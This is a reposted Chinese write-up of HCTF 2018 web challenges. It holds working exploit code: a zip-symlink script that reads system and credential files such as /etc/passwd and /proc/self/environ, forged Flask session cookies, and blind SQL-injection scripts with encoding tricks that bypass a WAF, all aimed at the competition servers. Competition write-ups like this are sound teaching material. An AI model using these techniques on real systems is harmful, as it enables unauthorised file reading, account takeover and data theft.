内容简介:以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。文件读取
HCTF 2018
以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。
Warmup
文件读取
http://warmup.2018.hctf.io/index.php?file=source.php%3f../../../../../../../ffffllllaaaagggg
Hide and seek
第一天看了半天,总感觉这个题缺少条件。然后,出题人修修补补,改了又改,心累。最后考察的知识点也没啥营养性,感觉比较无趣。
很奇怪,为啥现在大家出题都不会自己测一下环境有没有问题,直接就上线了…
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
第一个知识点,ZIP 软连接解压,可以任意文件读取。
HTTP包如下
POST /upload HTTP/1.1 Host: hideandseek.2018.hctf.io User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14689847831755241969368914144 Content-Length: 515 Referer: http://hideandseek.2018.hctf.io/ Cookie: session=eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------14689847831755241969368914144 Content-Disposition: form-data; name="the_file"; filename="hellow.zip" Content-Type: application/zip PK kjM ¹)linkUT kæ[kæ[ux÷/etc/passwdPK kjM ¹)í¡linkUTkæ[ux÷PKJI -----------------------------14689847831755241969368914144 Content-Disposition: form-data; name="submit" Submit -----------------------------14689847831755241969368914144--
写了一个EXP批量文件读取:
import requests
import random
import os
import string
import time
import zipfile
import sys
def generate_zip(path,i):
zip_name = 'moxiaoxi'+str(i)+'.zip'
link_namme = 'moxiaoxi'+str(i)
os.system("ln -s {} {}".format(path,link_namme))
print "ln -s {} {}".format(path,link_namme)
os.system("zip -y {} {}".format(zip_name,link_namme))
with open(zip_name,'r') as f:
data = f.read()
return zip_name,data
def exp(path,i):
zip_name,data = generate_zip(path,i)
# zip_name,data = rewrite(path,i)
session = requests.Session()
paramsPost = {"submit":"Submit"}
paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))]
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"http://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"}
cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"}
response = session.post("http://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
if len(response.content)>5:
# print("Response body: %s" % response.content)
with open('out.txt','a+') as f:
f.write('\n\n{}\n\n{}'.format(path,response.content))
if __name__=='__main__':
name = 'test'+''.join(random.sample(string.ascii_letters + string.digits, 4))
exp(sys.argv[1],name)
一开始,出题人环境没配好,可以读取/root/.bash_history,还蛮有趣,监控出题人操作。
$ python hideandseek.py /root/.bash_history ln -s /root/.bash_history moxiaoxitestkYcG adding: moxiaoxitestkYcG (stored 0%) Status code: 200 Response body: ls curl http://127.0.0.1:80 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log ps ps -A kill 86 ps -A cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log ls cd uploads/ ls rm 1.zip ls cd dead_z3r0_a230418bbeaf0c06f83a51f6ff9d9b8caf23dc6a3aa4b9fa3f6ab9b85cff2212.zip_/ ls ls -l file dead_z3r0 cd .. cd .. ls cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +4000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +12000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +40000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +30000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +35000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +38000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +37000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36500 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +5000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +80000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +300000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 10000| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 10000| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking ps -A exit cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking cat /etc/passwd cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uwsgi' cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uw' cat /app/hard_t0_guess_dkp2s6d9sa/hard_t0_guess_also_9u5c_main.py exit
正解应该先读取/proc/self/environ,得到路径。然后读取main函数。
很期待uwsgi+nginx+flask环境的组合问题,可惜…
python hideandseek.py /proc/self/environ ln -s /proc/self/environ moxiaoxitestzGFp adding: moxiaoxitestzGFp (stored 0%) Status code: 200 Response body: UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=e04ab7732827SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
python hideandseek.py /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini moxiaoxitestE5jc adding: moxiaoxitestE5jc (stored 0%) Status code: 200 Response body: [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
得到源码:
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
关注random.seed(uuid.getnode()) ,uuid.getnode()是取mac地址转换的,所以为固定值。 我们只需要读取远程mac地址,然后本地搭建一个环境,伪造一波就好。这里伪造的时候,需要注意 python 版本为python3.
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/ZIP [13:13:39] $ python hideandseek.py /sys/class/net/eth0/address ln -s /sys/class/net/eth0/address moxiaoxitestTL7W adding: moxiaoxitestTL7W (stored 0%) Status code: 200 Response body: 12:34:3e:14:7c:62
https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aa2%3A2a%3A1e%3A42
seed为20015589129314,
GET / HTTP/1.1 Host: hideandseek.2018.hctf.io Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-e7Sw.IvMRaI59t9NWnTGtNbJn0oBkMmY Connection: close
Admin
docker 环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/admin
这题的思路和Hide and seek一样。
首先,源码泄漏https://github.com/woadsl1234/hctf_flask/
替换登陆name为admin。然后,登陆一下,得到加密的cookie
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = 'admin'#name
print session
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
与远程交互,替换一下cookie就可以得到flag
GET /index HTTP/1.1 Host: admin.2018.hctf.io User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://admin.2018.hctf.io/login Cookie: session=.eJxFkMuKwkAQRX9l6LWLpEc3ARdKYnCgqjF0DF0byWg06YcDUUls8d-nkcFZFFw4cLi3Hmx37JtLy5Jrf2smbNcdWPJgH98sYSI1d8q3Fh3MSGef5LJRpKtO5JuI5FaLSk2FhClKNUO_GdGpKNwdZDmgzDi4TQQui0WejSpkJU8D6qIl2Vr0EEP-pUEHZ04tSDIiL6ySJadq1YIvPTiIUC-t4qUPjkHIxUgOOLp1DPJgSS8GUWHwlXP2nLD9pT_urj-mOb8nKL3nlFqLPMzQJlZBh-nSUKU86pMntw71TYxpGWpsLTk0YjF_6TpXn5q3CXgh4Y-ca_cPVFVc62r6ArdL078-yOKIPX8BlRpvtQ.W-bNtA.azJFSmLfN1OcVVz3Lg5pLV5WlMw; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
得到flag
kzone
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/kzone
同理,源码泄漏
http://kzone.2018.hctf.io/www.zip
审计,需要修改userAgent为QQ,比较好看题
(function () {
var sUserAgent = navigator.userAgent.toLowerCase();
if (sUserAgent.match(/QQ/i) != 'qq') {
window.location.href = 'https://qzone.qq.com';
}
})();
在member.php存在注入。主要区别在于setcookie.如果查询语句正常,只会出现两个setcookie。否则为四个。
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
注入点,查询出错,会出现4个setcookie,否则为两个setcookie
写脚本注入admin
import requests
import string
def test_once(index,s):
session = requests.Session()
paramsPost = {"login":"Login","pass":"1","user":"admin"}
cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
flag = response.headers['Set-Cookie'].count('islogin')
if flag == 1:
print(index,s,'yes')
return True
elif flag == 2:
print(index,s,'no')
else:
print('[-] may be error,{}'.format(s))
return False
def hack():
ss = string.printable
num = 41
flag = ''
end = 0
i = 1
for i in range(1,num):
for s in ss:
if test_once(i,s+flag):
flag = s+flag
break
print flag
print flag
if __name__=='__main__':
hack()
# test_once(1,'6')
发现被改的没办法反解。
尝试伪造登陆了一波,发现登陆后也没什么东西。
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Cookie: islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}
Connection: close
Upgrade-Insecure-Requests: 1
user=admin&pass=moxiaoxi111&login=Login
后面在数据库里翻到了flag。
import requests
import string
def get_payload():
# s = "admin' and ((select count(*) from information_schema.tables where table_schema='hctf_kouzone')=5);"
# s = """select 1 from information_schema.tables where table_schema='hctf_kouzone' and table_name='fish_admin'"""
# s = """select (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='hctf_kouzone' limit 0,1)=10"""
# s = """select (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='hctf_kouzone' and table_name='F1444g' limit 0,1)=10"""
s = """select (select ascii(substr(F1a9,1,1)) from F1444g limit 0,1)=10"""
s = "admin' and ({});".format(s)
print "select * from fish_admin where username='{}".format(s)
s = s.replace(';','\u0023')
s = s.replace(' ','/**/')
print s
s = s.replace('or','\u006fr')
s = s.replace('=','\u003d')
s = s.replace("sub","\u0073\u0075\u0062")
s = s.replace('ascii','\u0061\u0073\u0063\u0069\u0069')
print s
return s
def test_once(index,s):
session = requests.Session()
paramsPost = {"login":"Login","pass":"1","user":"admin"}
# cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
# payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(table_name,{},1))/**/from/**/inf\u006frmation_schema.tables/**/where/**/table_schema\u003d'hctf_kouzone'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
# F1444g
# payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(column_name,{},1))/**/from/**/inf\u006frmation_schema.columns/**/where/**/table_schema\u003d'hctf_kouzone'/**/and/**/table_name\u003d'F1444g'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
# F1a9
payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(F1a9,{},1))/**/from/**/F1444g/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
cookies = {"login_data":"{\"admin_user\":\""+payload+"\",\"admin_pass\":\"2\"}","islogin":"1"}
# cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
flag = response.headers['Set-Cookie'].count('islogin')
if flag == 1:
print(index,s,'yes')
return True
elif flag == 2:
print(index,s,'no')
else:
print('[-] may be error,{}'.format(s))
return False
def hack():
ss = string.printable
num = 41
flag = ''
end = 0
i = 1
for i in range(1,num):
for s in ss:
if test_once(i,ord(s)):
flag += s
break
print flag
print flag
if __name__=='__main__':
# hack()
# test_once(1,'6')
# get_payload()
hack()
这题有趣的点在于 $login_data = json_decode($_COOKIE['login_data'], true); 直接bypass waf。
Share
扫描得到robots.txt 源码
http://share.2018.hctf.io/robots.txt
/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end
end
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
`-- show.erb
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id ="+ uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
后续看WP,有趣则补。
Game
逻辑问题
http://game.2018.hctf.io/web2/user.php?order=password
可以看到password的排序。可以疯狂注册用户,通过密码逐位与admin密码比较,从而得到admin密码。
bestrong
后续看WP,有趣则补。
bottle
后续看WP,有趣则补。
以上所述就是小编给大家介绍的《HCTF 2018 Web Write-up》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
XML Hacks
Michael Fitzgerald / O'Reilly Media, Inc. / 2004-07-27 / USD 24.95
Developers and system administrators alike are uncovering the true power of XML, the Extensible Markup Language that enables data to be sent over the Internet from one computer platform to another or ......一起来看看 《XML Hacks》 这本书的介绍吧!